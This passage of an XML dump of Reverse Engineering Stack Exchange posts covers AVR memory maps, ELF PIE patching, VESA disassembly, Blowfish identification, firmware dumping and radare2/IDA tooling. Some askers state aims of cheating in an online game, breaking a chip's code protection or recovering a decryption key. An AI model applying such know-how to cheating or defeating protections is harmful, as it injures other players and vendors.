  <row Id="22727" PostTypeId="1" CreationDate="2019-12-12T13:19:23.427" Score="1" ViewCount="368" Body="&lt;p&gt;In this video &lt;a href=&quot;https://youtu.be/D0VKuZuuvW8?t=259&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/D0VKuZuuvW8?t=259&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that flash address is beteen 0x0 to 0x3fff. and Data memory ( Io register and SRAM )  is between  0x0 to 0x8ff .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the video he ask how that can be passable? and he answer that AVR used Harvard architecture , and data and code in diffrent address (not like x86)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand the answer .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In ida , how can I parse this binary? what is the address of ram and what is the address of rom ? ( I must type it while I load binary file of avr ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 0x0 there is 32 registers (data) or code in flash?&lt;/p&gt;&#xA;" OwnerUserId="30111" LastActivityDate="2019-12-12T21:33:02.957" Title="Memory map in AVR Harvard architecture" Tags="|ida|static-analysis|flash|rom|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22729" PostTypeId="1" CreationDate="2019-12-12T17:02:20.233" Score="0" ViewCount="255" Body="&lt;p&gt;What is the difference between &lt;a href=&quot;https://en.wikipedia.org/wiki/Complex_instruction_set_computer&quot; rel=&quot;nofollow noreferrer&quot;&gt;CISC&lt;/a&gt;/&lt;a href=&quot;https://en.wikipedia.org/wiki/Reduced_instruction_set_computer&quot; rel=&quot;nofollow noreferrer&quot;&gt;RISC&lt;/a&gt; when reverse engineering a binary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the difference between them, but is there any difference while reversing? Is it easier to reverse CISC than RISC?&lt;/p&gt;&#xA;" OwnerUserId="30423" LastEditorUserId="266" LastEditDate="2019-12-17T19:49:16.370" LastActivityDate="2019-12-17T19:49:16.370" Title="CISC/RISC in reverse engineering" Tags="|binary-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22730" PostTypeId="2" ParentId="22727" CreationDate="2019-12-12T21:33:02.957" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So in the video he ask how that can be passable? and he answer that AVR used Harvard architecture , and data and code in diffrent address (not like x86)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Different means are used to access each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In simple terms, only instructions and any operands embedded within the instruction stream would be read from program memory.  Any &quot;memory access&quot; &lt;em&gt;by&lt;/em&gt; code would go to data memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course that strict a boundary doesn't really make for a working computer.  So there is a special instruction to inefficiently read data from program memory.  And also a highly restricted one for writing data to program memory, which can only be run from code that is itself located in the bootloader region.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in short, it works because &lt;em&gt;accessing&lt;/em&gt; the memory uses a completely different mechanism for each type of memory.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In ida , how can I parse this binary? what is the address of ram and what is the address of rom ? ( I must type it while I load binary file of avr ).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A binary or hex file you load would probably go &lt;em&gt;only&lt;/em&gt; into program memory.  Some bootloaders might be able to be able to dump something into data RAM, but you'd need some out-of-band command to tell them to put the data there, or have to invent some private convention that a certain range of addresses in a HEX file would be shorthand for data vs. program memory.  This likely isn't done, because there's no real need to preload data to data memory - rather, you talk to the running program and exchange data with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;em&gt;debugger&lt;/em&gt; (for either virtual or emulated hardware) can of course typically allow you to change memory contents while a program is paused.&lt;/p&gt;&#xA;" OwnerUserId="2054" LastActivityDate="2019-12-12T21:33:02.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22731" PostTypeId="1" CreationDate="2019-12-13T12:10:08.737" Score="0" ViewCount="980" Body="&lt;p&gt;Is it possible changing few bytes for converting an elf binary from PIE to No-PIE (ELF)?&#xA;I know that in the header if &lt;code&gt;e_type&lt;/code&gt; is:&#xA; - 3 then the program is PIE&#xA; - 2 then the program is No-PIE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I tried to change that byte and in fact &lt;code&gt;readelf -h&lt;/code&gt; shows me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF Header:&#xA;  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF64&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           Advanced Micro Devices X86-64&#xA;  Version:                           0x1&#xA;  Entry point address:               0x630&#xA;  Start of program headers:          64 (bytes into file)&#xA;  Start of section headers:          6576 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               64 (bytes)&#xA;  Size of program headers:           56 (bytes)&#xA;  Number of program headers:         9&#xA;  Size of section headers:           64 (bytes)&#xA;  Number of section headers:         29&#xA;  Section header string table index: 28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I changed the &lt;code&gt;e_entry&lt;/code&gt; from &lt;code&gt;0x630&lt;/code&gt; to &lt;code&gt;0x400630&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;readelf -h&lt;/code&gt; output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ELF Header:&#xA;  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF64&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              EXEC (Executable file)&#xA;  Machine:                           Advanced Micro Devices X86-64&#xA;  Version:                           0x1&#xA;  Entry point address:               0x400630&#xA;  Start of program headers:          64 (bytes into file)&#xA;  Start of section headers:          6576 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               64 (bytes)&#xA;  Size of program headers:           56 (bytes)&#xA;  Number of program headers:         9&#xA;  Size of section headers:           64 (bytes)&#xA;  Number of section headers:         29&#xA;  Section header string table index: 28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However if I try to launch the program it crashes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strace ./elf-patched.exe &#xA;execve(&quot;./elf-patched.exe&quot;, [&quot;./elf-patched.exe&quot;], 0x7ffe0c2b88c0 /* 66 vars */) = -1 EPERM (Operation not permitted)&#xA;+++ killed by SIGSEGV +++&#xA;[1]    7239 segmentation fault (core dumped)  strace ./elf-patched.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What other bytes should I change (If it's possible with few modifications) ?&lt;/p&gt;&#xA;" OwnerUserId="30463" LastActivityDate="2019-12-14T12:18:09.707" Title="Convert PIE ELF binary into No-PIE" Tags="|elf|pie|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22732" PostTypeId="1" CreationDate="2019-12-13T13:06:03.373" Score="3" ViewCount="77" Body="&lt;p&gt;I'm trying to disassemble an old DOS application and got stuck at some point of the VESA graphics handling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The VESA function to be called will be stored in a global variable, e.g. &lt;code&gt;vesa_fct_dword_749C8 = 0x4f00&lt;/code&gt;, &lt;code&gt;0x4f01&lt;/code&gt;, etc.&#xA;After checking the return value, the application will do some additional magic, which I, frankly, don't understand. My guess is that it will check for a specific error return value (&lt;code&gt;0x01&lt;/code&gt;, in particular), but I'm really not quite sure about it and how it's actually done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the relevant snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cseg01:000159D8 loc_159D8:                              ; CODE XREF: checkForVesa+D4↑j&#xA;cseg01:000159D8                 mov     eax, vesa_fct_dword_749C8&#xA;cseg01:000159DD                 mov     edx, vesa_fct_dword_749C8&#xA;cseg01:000159E3                 sar     edx, 1Fh&#xA;cseg01:000159E6                 shl     edx, 8&#xA;cseg01:000159E9                 sbb     eax, edx&#xA;cseg01:000159EB                 sar     eax, 8&#xA;cseg01:000159EE                 and     eax, 0FFh&#xA;cseg01:000159F3                 cmp     eax, 1&#xA;cseg01:000159F6                 jnz     short loc_15A01&#xA;cseg01:000159F8                 mov     [ebp+var_4], 0&#xA;cseg01:000159FF                 jmp     short loc_15A29&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe someone knows what's up with that part, that would be really appreciated!&lt;/p&gt;&#xA;" OwnerUserId="30305" LastEditorUserId="245" LastEditDate="2019-12-13T20:05:43.670" LastActivityDate="2019-12-14T15:21:42.477" Title="x86 disassembly confusion regarding VESA functions" Tags="|ida|disassemblers|dos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22734" PostTypeId="2" ParentId="22690" CreationDate="2019-12-13T19:59:00.923" Score="1" Body="&lt;p&gt;Based on that command-line, I think that there's a scheduled task (or WMI entry) that is running periodically to download the file again, which is why it's not being removed.  Defender might not be searching those locations without a full scan, for performance reasons.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2019-12-13T19:59:00.923" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22735" PostTypeId="1" CreationDate="2019-12-14T07:37:34.607" Score="0" ViewCount="245" Body="&lt;p&gt;So i found a string &quot;RespawnTime&quot; in online games and i just edit the string to nop and it worked perfectly, my player is no more waiting to respawn&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how is that possible? I just edit the string name to NOP asm , isn't we must edit the procedure/func to make it work, how by just edit the string it works?&lt;/p&gt;&#xA;" OwnerUserId="28660" LastActivityDate="2020-09-11T13:03:35.457" Title="Nop the string in online games" Tags="|ollydbg|x64dbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22736" PostTypeId="1" AcceptedAnswerId="22742" CreationDate="2019-12-14T09:18:54.720" Score="0" ViewCount="519" Body="&lt;p&gt;I've used x64dbg to work out decryption in a particular program. I've found where it changes the encrypted material into readable text but can't work out the best way to use this information to convert multiple files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a standardized encryption method? (eg. blowfish/aes) &#xA;&lt;a href=&quot;https://i.stack.imgur.com/1NHhk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1NHhk.png&quot; alt=&quot;Assembler&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It basically copies the file to memory then cycles through this (and one other cycle above it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addit 15/12/2019:&#xA;&lt;strong&gt;OUTER FUNCTION&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/DA8WH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DA8WH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ouput of signsrch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  offset   num  description [bits.endian.size]&#xA;  --------------------------------------------&#xA;  0002b542 2249 TEA1_DS [32.le.4]&#xA;  00059090 2065 Haval init [32.le.32&amp;amp;]&#xA;  00059090 919  Blowfish bfp table [32.le.72]&#xA;  000590b0 1054 Haval hash pass2 [32.le.128&amp;amp;]&#xA;  000590e0 921  Blowfish ks0 table [32.le.1024]&#xA;  000590e0 2335 Blowfish_s_init [32.le.4096]&#xA;  00059138 2067 Haval mc3 [32.le.128]&#xA;  00059198 2219 HAVAL2_DS [32.le.32]&#xA;  000591b8 2069 Haval mc4 [32.le.128]&#xA;  00059218 2217 HAVAL1_DS [32.le.32]&#xA;  00059238 2071 Haval mc5 [32.le.128]&#xA;  000594e0 923  Blowfish ks1 table [32.le.1024]&#xA;  000598e0 925  Blowfish ks2 table [32.le.1024]&#xA;  00059ce0 927  Blowfish ks3 table [32.le.1024]&#xA;  007b1a86 2545 anti-debug: IsDebuggerPresent [..17]&#xA;  007b7e07 1038 padding used in hashing algorithms (0x80 0 ... 0) [..64]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It must be blowfish. Now to find the key!!!&lt;/p&gt;&#xA;" OwnerUserId="30471" LastEditorUserId="30471" LastEditDate="2019-12-15T01:53:33.603" LastActivityDate="2019-12-15T01:53:33.603" Title="Help with reversing decryption in assembly" Tags="|decryption|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22737" PostTypeId="1" CreationDate="2019-12-14T10:30:51.957" Score="2" ViewCount="64" Body="&lt;p&gt;I'm working on reversing a USB flash drive controller chip. I know there's a microprocessor that runs some 8051 variant, and I have the ability to run arbitrary code on it. There's lots of different 8051-like manufacturers though, and I'd like to find out the specific processor model on this specific chip. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think the reason is relevant, but it's because I'm interested in breaking a model-specific code protection mechanism, and I need to know the model for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is there some standard way to find out the model/manufacturer of the processor? Maybe a special function register that holds a vendor specific signature, or something akin to x86's CPUID. I could break the chip and look for the processor within but I'd really prefer not to do that.&lt;/p&gt;&#xA;" OwnerUserId="30473" LastActivityDate="2019-12-14T10:30:51.957" Title="Is there a way to identify a specific microprocessor model?" Tags="|hardware|8051|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22738" PostTypeId="2" ParentId="22731" CreationDate="2019-12-14T12:18:09.707" Score="1" Body="&lt;p&gt;It is not possible with few modifications. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www2.cs.arizona.edu/~debray/Publications/disasm.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www2.cs.arizona.edu/~debray/Publications/disasm.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;2.2    Position-Independent Code&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Many compilers can be instructed to emit code that does not rely on&#xA;  being bound to any particular position in the program’s address space.&#xA;  These code sequences are often referred to as &lt;em&gt;position-independent&#xA;  code&lt;/em&gt;(PIC). In particular, PIC sequences do not contain any relocatable&#xA;  addresses embedded in the instructions. This property enables the code&#xA;  to work regardless of its memory location at runtime.  Furthermore,&#xA;  PIC does not need to be patched by the loader, enabling it to be mapped&#xA;  as read-only data—which is useful for shared code such as dynamically&#xA;  linked libraries [14]. When a compiler is emitting&#xA;  position-independent code  it typically creates jump tables that are&#xA;  also position-independent.  These tables are usually embedded in the&#xA;  text segment of the executable and consist of a sequence of offsets&#xA;  rather than virtual addresses.  A jump that uses the offset table&#xA;  first loads a nearby address,&lt;sup&gt;1&lt;/sup&gt; then uses this to index into the table&#xA;  and retrieve an offset.  The offset is added to the address that was&#xA;  previously loaded and then used in an indirect jump to reach the&#xA;  desired destination. The problems posed by position-independent jump&#xA;  tables are three-fold: &lt;em&gt;(i)&lt;/em&gt; the offset tables, which are really no&#xA;  different than data, appear in the instruction stream; &lt;em&gt;(ii)&lt;/em&gt; the code&#xA;  sequences that perform the indirect jumps are often complicated and&#xA;  may not adhere to a single pattern that is easily recognizable; and&#xA;  &lt;em&gt;(iii)&lt;/em&gt; it is entirely possible that an offset table does not contain relocation entries.  Taken together,these properties make the task of&#xA;  disassembling PIC sequences involving jump tables more difficult than&#xA;  standard code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2019-12-14T12:18:09.707" CommentCount="0" CommunityOwnedDate="2019-12-14T12:18:09.707" ContentLicense="CC BY-SA 4.0" />
  <row Id="22739" PostTypeId="2" ParentId="22732" CreationDate="2019-12-14T15:21:42.477" Score="1" Body="&lt;p&gt;This code takes the most significant bit of &lt;code&gt;EAX&lt;/code&gt; (&lt;code&gt;msb(EAX)&lt;/code&gt;) and then, it subtracts it from &lt;code&gt;AH&lt;/code&gt; and compares the result to &lt;code&gt;1&lt;/code&gt;. According to &lt;a href=&quot;https://www.versalogic.com/Support/Downloads/pdf/69030bg.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this specification&lt;/a&gt; (&quot;VBE Return Status&quot; section):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;AX = 014F&lt;/code&gt; =&gt; &lt;code&gt;AH = 1&lt;/code&gt; means &quot;&lt;em&gt;Function call failed&lt;/em&gt; &quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;AX = 024F&lt;/code&gt; =&gt; &lt;code&gt;AH = 2&lt;/code&gt; means &quot;&lt;em&gt;Function is not supported in current hardware configuration&lt;/em&gt;&#xA;&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And the &lt;code&gt;jnz&lt;/code&gt; instruction will be executed if &lt;code&gt;msb(EAX) = 1&lt;/code&gt; and &lt;code&gt;AH = 2&lt;/code&gt;, or when &lt;code&gt;msb(EAX) = 0&lt;/code&gt; and &lt;code&gt;AH = 1&lt;/code&gt;. Unfortunately, I don't know what information is stored in &lt;code&gt;msb(EAX)&lt;/code&gt; (maybe something related to VBE version?).&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2019-12-14T15:21:42.477" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22740" PostTypeId="1" CreationDate="2019-12-14T17:23:41.063" Score="1" ViewCount="1111" Body="&lt;p&gt;I have a Winbond W25Q64JVSSIQ flash chip that supports SPI. I've connected BusPirate through a SOP8 cable to the memory chip. &lt;code&gt;PWR&lt;/code&gt; and &lt;code&gt;VREG&lt;/code&gt; LEDs are on, so they're connected. BusPirate is connected to a Kali Linux VM on my host. I'm using the command, &lt;code&gt;sudo ./flashrom -p buspirate_spi:dev=/dev/ttyUSB0&lt;/code&gt; to identify the chip, but &lt;code&gt;flashrom&lt;/code&gt; isn't able to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@malnet:/opt/flashrom# sudo ./flashrom -p buspirate_spi:dev=/dev/ttyUSB0&#xA;flashrom v1.1-rc1-121-g8962267 on Linux 4.19.0-kali5-amd64 (x86_64)&#xA;flashrom is free software, get the source code at https://flashrom.org&#xA;&#xA;Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).&#xA;Bus Pirate firmware 6.1 and older does not support SPI speeds above 2 MHz. Limiting speed to 2 MHz.&#xA;It is recommended to upgrade to firmware 6.2 or newer.&#xA;No EEPROM/flash device found.&#xA;Note: flashrom can never write if the flash chip isn't found automatically.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I get the firmware dumped from the chip? Any ideas as to why &lt;code&gt;flashrom&lt;/code&gt; may not be working or alternate methods to dump?&lt;/p&gt;&#xA;" OwnerUserId="30475" LastActivityDate="2019-12-14T17:23:41.063" Title="Dumping firmware from Winbond W25Q64JVSSIQ using BusPirate" Tags="|firmware|hardware|firmware-analysis|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22742" PostTypeId="2" ParentId="22736" CreationDate="2019-12-15T01:39:07.863" Score="2" Body="&lt;p&gt;This is probably Blowfish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling the constants &quot;0x448 0xC48 crypto&quot; lead to this post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/19042/trying-to-identify-block-of-code-which-generates-256-bit-key&quot;&gt;Trying to identify block of code which generates 256 bit key&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where someone in the comments wrote&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;googling the constants 0xc48, 0x848 and 0x448 is a good idea.&#xA;rohitab.com/discuss/topic/36066-blowfish relates this to blowfish somehow&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that link has code that looks very similar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.rohitab.com/discuss/topic/36066-blowfish/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.rohitab.com/discuss/topic/36066-blowfish/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(search for &lt;code&gt;C48&lt;/code&gt; there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only oddity is that the author of that other post says he is sure it is AES and he said he could decrypt some data using AES. I don't know how to consolidate both ideas, but it's probably either and given the similar disassemblies I'd say Blowfish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't look like AES to me either but I had some AES-related crypto before that looked a bit like this - Blowfish is way more convincing.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-12-15T01:39:07.863" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22744" PostTypeId="1" CreationDate="2019-12-15T06:39:01.290" Score="4" ViewCount="381" Body="&lt;p&gt;Was wondering if someone could help me identify which series a Renesas Custom SoC belongs to within the super-H family by looking at optical images of the die circuitry layout of the device, and by reviewing the other documents. &lt;a href=&quot;http://www.mediafire.com/file/iu92vh0pmafd3k2/CPU_Inspection_X100642_M0KDP326_%281%29.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;PDF of die analysis&lt;/a&gt;. (It's the part # R8A02021ABG) The device is mounted to a Roland GR-55 synthesizer, and what I'm trying to do is properly setup the unit's debugger so I can try to create simple patches for the firmware, like changing string names.&lt;/p&gt;&#xA;&lt;p&gt;So far I've been able to identify that its a custom SoC by noticing that the unique part number which is written on the device is present in the die marking which is part of the metal layers. I was wondering if by looking someone could tell what functional blocks are on the die or the size of the memory/cache. I've identified it's in the super-H family by reviewing the &lt;a href=&quot;https://www.joness.com/gr300/service/GR-55_SERVICE_NOTES.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;GR-55 schematics&#xA;&lt;/a&gt; (PG.34) and seeing the port for the E10A-usb debugger/emulator. Also when reviewing the schematics for other Roland devices that use the same custom SoC like the Roland aerophone ae10, and Jupiter 80, I could see the debug port was labled E10A-usb. &lt;a href=&quot;http://www.mediafire.com/file/5tmrn9xqsaualex/esupportdevice.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;E10a-usb supported devices&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So with this info gathered i'm still unsure which series it belongs to. &lt;a href=&quot;https://www.renesas.com/us/en/products/microcontrollers-microprocessors/superh.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Super-H series&lt;/a&gt;. I believe its most likely based off the SH-3-DSP or SH-4-DSP devices. I only say this because I know Roland is using DSP technology on the GR-55, and only devices in those series are using DSP. So from here I've been trying to see if there is a device in these series with a superset of features that are included in the GR-55 like DSP. I've also looked for A/D and D/A converters which the GR-55 states it has at 24 bit. (pg.3 GR-55 schematics) and none of the devices in this family have converters that go as high as 24 bit. when reviewing the schematics for the Roland Jupiter-80 I came across a note that looks like it states the clock speed of the custom SoC at 192MHz/64MHz but I don't know if it's stating the maximum clock speed or somthing els. I don't know how to interpret this note, and was wondering if someone could explain what it's saying. A similar note can be seen in the GR-55 schematics.  &lt;a href=&quot;https://i.stack.imgur.com/FT4fC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FT4fC.png&quot; alt=&quot;Jupiter 80 schematics&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also I was wondering if it's common for debuggers to provide any info on the devices they're connected to. Maybe the E10A-usb emulator can provide some info on my device.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://datasheet.octopart.com/R5F100AEASP%23V0-Renesas-datasheet-12510943.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;super-H devices specifications&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25860" LastEditorUserId="25860" LastEditDate="2020-09-01T07:11:43.660" LastActivityDate="2020-09-04T04:03:45.313" Title="Trying to identify Renesas custom SoC through CPU die inspection" Tags="|debugging|hardware|integrated-circuit|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22745" PostTypeId="1" AcceptedAnswerId="26398" CreationDate="2019-12-15T09:32:42.670" Score="4" ViewCount="976" Body="&lt;p&gt;I am wondering what the &lt;strong&gt;crypto&lt;/strong&gt;, &lt;strong&gt;linenum&lt;/strong&gt;, &lt;strong&gt;pcalign&lt;/strong&gt;, &lt;strong&gt;relocs&lt;/strong&gt; and &lt;strong&gt;va&lt;/strong&gt; values mean in the output of rabin2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took a look in the source code of radare2 and it seems for ELF &lt;strong&gt;va&lt;/strong&gt; is always true, I assume it means virtual addressing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/radareorg/radare2/blob/1d3698bc96a09e45c4fff4c090278623f146929c/libr/bin/format/elf/elf.c#L2132-L2134&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/radareorg/radare2/blob/1d3698bc96a09e45c4fff4c090278623f146929c/libr/bin/format/elf/elf.c#L2132-L2134&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int Elf_(r_bin_elf_has_va)(ELFOBJ *bin) {&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would assume &lt;strong&gt;relocs&lt;/strong&gt; refer to the presence of the relocation table however from my testing that does not seem to be the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;strong&gt;linenum&lt;/strong&gt; I think it refers information relating to the line numbers in the source code? But this still seem to appear true when there is no DWARF information on the ELF binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the other 2 I have no idea what they are referring to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arch     x86&#xA;baddr    0x0&#xA;binsz    6618&#xA;bintype  elf&#xA;bits     64&#xA;canary   true&#xA;sanitiz  false&#xA;class    ELF64&#xA;crypto   false&#xA;endian   little&#xA;havecode true&#xA;intrp    /lib64/ld-linux-x86-64.so.2&#xA;laddr    0x0&#xA;lang     c&#xA;linenum  true&#xA;lsyms    true&#xA;machine  AMD x86-64 architecture&#xA;maxopsz  16&#xA;minopsz  1&#xA;nx       true&#xA;os       linux&#xA;pcalign  0&#xA;pic      true&#xA;relocs   true&#xA;relro    full&#xA;rpath    NONE&#xA;static   false&#xA;stripped false&#xA;subsys   linux&#xA;va       true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30479" LastActivityDate="2020-12-30T07:00:15.073" Title="Understanding output of rabin2" Tags="|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22747" PostTypeId="2" ParentId="22538" CreationDate="2019-12-15T17:44:25.197" Score="1" Body="&lt;p&gt;In visual mode open up the radare console with &lt;code&gt;:&lt;/code&gt; and enter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CCa @rip your comment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30479" LastActivityDate="2019-12-15T17:44:25.197" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22750" PostTypeId="1" CreationDate="2019-12-15T22:20:56.123" Score="3" ViewCount="1172" Body="&lt;p&gt;How can I know which processors IDA knows how to view pseudocode of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If IDA does not know to view pseudocode for my processor, how can I fix that??&lt;/p&gt;&#xA;" OwnerUserId="30486" LastEditorUserId="266" LastEditDate="2019-12-17T19:51:57.567" LastActivityDate="2019-12-17T19:51:57.567" Title="IDA pseudocode support" Tags="|ida|decompilation|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22753" PostTypeId="2" ParentId="22750" CreationDate="2019-12-16T06:54:55.867" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;Decompilation is done by another product of Hex-Rays, which is called Hex-Rays Decompiler. You can find more about it &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/index.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The page includes the list of supported processors (correct for December 2019):  &#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;x86, x64, ARM32, ARM64, PowerPC, and PowerPC64&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;This product is implemented as a plugin for IDA, doesn't work without IDA itself, has its own license,and cost additional money.&lt;/li&gt;&#xA;&lt;li&gt;If you processor is not supported by Hex-Rays Decompiler, you can either use &lt;a href=&quot;https://www.nsa.gov/resources/everyone/ghidra/&quot; 